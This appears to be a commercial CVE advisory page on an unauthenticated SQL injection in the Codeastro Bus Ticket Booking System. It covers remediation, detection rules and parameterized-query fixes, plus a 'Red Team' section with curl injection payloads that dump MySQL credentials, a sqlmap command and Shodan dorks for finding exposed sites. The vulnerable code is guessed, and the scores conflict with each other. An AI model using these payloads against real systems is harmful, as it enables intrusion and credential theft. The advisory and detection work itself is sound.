☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-25775

CVE-2025-25775 SQL Injection in Codeastro
📅 PUBLISHED: 2025-04-25 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-25775 is a critical unauthenticated SQL injection vulnerability in the Codeastro Bus Ticket Booking System v1.0. The flaw resides in the kodetiket parameter of the /BusTicket-CI/tiket/cekorder endpoint, allowing remote attackers to execute arbitrary SQL commands without authentication. Given the CVSS base score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), this vulnerability poses a severe risk to confidentiality, integrity, and availability. The vendor has not released a patch, and no official advisory exists. Public proof-of-concept code is available, increasing the likelihood of exploitation in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a standalone PHP/CodeIgniter application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High
  • EPSS Score: 0.0% (low probability of exploitation in the next 30 days, but public PoC increases risk)
  • Threat Level: Critical – immediate remediation required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the kodetiket parameter of the cekorder function within the tiket controller. The application uses CodeIgniter 3.x with active record or raw queries that fail to sanitize user input. The vulnerable code likely resembles:

$kodetiket = $this->input->get('kodetiket');
$query = $this->db->query("SELECT * FROM orders WHERE kode_tiket = '$kodetiket'");

An attacker can inject SQL payloads such as:

' OR '1'='1' -- -

This bypasses authentication and returns all records from the orders table. Further exploitation can extract database credentials, modify data, or execute system commands via xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL).

Vulnerable vs. Patched Code

Vulnerable Code (v1.0):

// application/controllers/Tiket.php
public function cekorder() {
    $kodetiket = $this->input->get('kodetiket');
    $result = $this->db->query("SELECT * FROM orders WHERE kode_tiket = '$kodetiket'");
    // ...
}

Patched Code (hypothetical):

// application/controllers/Tiket.php
public function cekorder() {
    $kodetiket = $this->input->get('kodetiket');
    $this->db->where('kode_tiket', $kodetiket);
    $result = $this->db->get('orders');
    // OR use parameterized query:
    $result = $this->db->query("SELECT * FROM orders WHERE kode_tiket = ?", array($kodetiket));
}

The patched version uses CodeIgniter’s Query Builder or parameterized queries, which automatically escape input.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running Codeastro Bus Ticket Booking System v1.0
  • Network access to the /BusTicket-CI/tiket/cekorder endpoint

Exploitation Steps:

  1. Identify the vulnerable endpoint:

    curl -v "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=test"
    
  2. Confirm SQL injection:

    curl "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=test'"
    

    If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.

  3. Extract database version:

    curl "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=' UNION SELECT @@version,2,3-- -"
    
  4. Dump credentials (example for MySQL):

    curl "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=' UNION SELECT user,password,3 FROM mysql.user-- -"
    

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/BusTicket-CI/tiket/cekorder?kodetiket=test" --batch --dbs

Lab Setup:

  • Download vulnerable application from Codeastro or use a Docker image.
  • Deploy on a local LAMP stack (Apache, MySQL, PHP 7.x).
  • Ensure mod_rewrite is enabled for CodeIgniter.

Blue Team

Detection Steps:

  1. Monitor web server logs for abnormal kodetiket parameter values containing SQL keywords (UNION, SELECT, OR, --).
  2. Deploy WAF rules to block SQL injection patterns.
  3. Use the detection rules below.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /BusTicket-CI/tiket/cekorder with kodetiket containing SQL metacharacters (', ", --, #, /*).
    • Outbound database connections from the web server to unknown IPs (data exfiltration).
  • File IOCs:
    • Unexpected files in /var/www/html/ (e.g., .sql dumps, webshells).
  • Log IOCs:
    • Web server logs showing 400 or 500 errors on the vulnerable endpoint.
    • Database logs showing UNION or INTO OUTFILE queries.

Detection Engineering

YARA Rule

rule CVE_2025_25775_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-25775 in Codeastro Bus Ticket Booking System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25775"
    strings:
        $s1 = "kodetiket=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR 1=1" nocase
        $s5 = "--" nocase
        $s6 = "/BusTicket-CI/tiket/cekorder" nocase
    condition:
        all of ($s1, $s6) and 1 of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-25775 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Codeastro Bus Ticket Booking System
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25775
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/BusTicket-CI/tiket/cekorder"
        cs-uri-query|contains|all:
            - "kodetiket="
        cs-uri-query|contains|any:
            - "'"
            - "UNION"
            - "SELECT"
            - "OR 1=1"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of special characters in ticket codes (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-25775 SQL Injection Attempt";
    flow:to_server,established;
    content:"/BusTicket-CI/tiket/cekorder"; http_uri;
    content:"kodetiket="; http_uri;
    pcre:"/(%27|%22|UNION|SELECT|OR\s+1=1|--)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-25775;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the vulnerable application from the internet if possible.
  2. Apply virtual patching via WAF (e.g., ModSecurity with OWASP CRS).
  3. Upgrade to a patched version if the vendor releases one; otherwise, consider migrating to a different booking system.

Long-Term Fix:

  • Replace all raw SQL queries with parameterized statements or CodeIgniter’s Query Builder.
  • Implement input validation (allow only alphanumeric characters for ticket codes).
  • Conduct a full security audit of the application.

Workaround:

  • Disable the /BusTicket-CI/tiket/cekorder endpoint in .htaccess:
    RewriteRule ^BusTicket-CI/tiket/cekorder - [F,L]
    

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Bus Ticket Booking System"
http.html:"codeastro" "bus ticket"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-25775/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.